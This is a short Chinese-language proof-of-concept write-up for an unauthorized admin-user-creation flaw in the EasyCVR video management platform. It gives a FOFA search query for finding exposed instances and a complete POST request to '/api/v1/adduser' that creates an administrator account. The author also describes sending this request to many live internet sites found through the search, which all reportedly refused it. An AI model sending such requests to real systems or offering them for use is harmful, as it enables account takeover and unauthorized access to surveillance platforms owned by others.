EasyCVR视频管理平台存在任意用户添加漏洞

漏洞描述

攻击者可以通过发送特定的POST请求，利用未授权访问的接口'/api/v1/adduser'，在系统中添加任意用户，并将其设置为管理员角色。

fofa

app="EasyCVR-视频管理平台"

poc

password为md5加密

POST /api/v1/adduser HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

漏洞复现

fofa中搜索资产，共有493条数据匹配

访问目标网站进行抓包

构造数据包之后，返回的内容是没有权限操作，目标做了鉴权或者系统为最新版本，已无该漏洞

一连找了好多个站点，均返回没有权限操作